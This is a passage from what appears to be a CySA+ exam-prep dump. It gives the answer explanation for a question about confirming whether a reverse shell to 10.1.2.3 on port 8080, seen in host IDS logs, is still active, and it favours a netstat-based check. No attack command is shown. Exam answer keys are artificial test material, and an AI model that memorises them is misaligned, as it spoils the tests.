The suspicious entry on the host-based IDS logs indicates that a reverse shell was executed on the host, which connects to the remote IP address 10.1.2.3 on port 8080. The shell script option D uses the netstat command to check if there is any active connection to that IP address and port, and prints “Malicious activity” if there is, or “OK” otherwise. This is the most accurate way to confirm if the reverse shell is still active, as the other options may not detect the connection or may produce false positives. ReferencesCompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 8: Incident Response, page 339.Reverse Shell Cheat Sheet, Bash section.

#### NEW QUESTION 244

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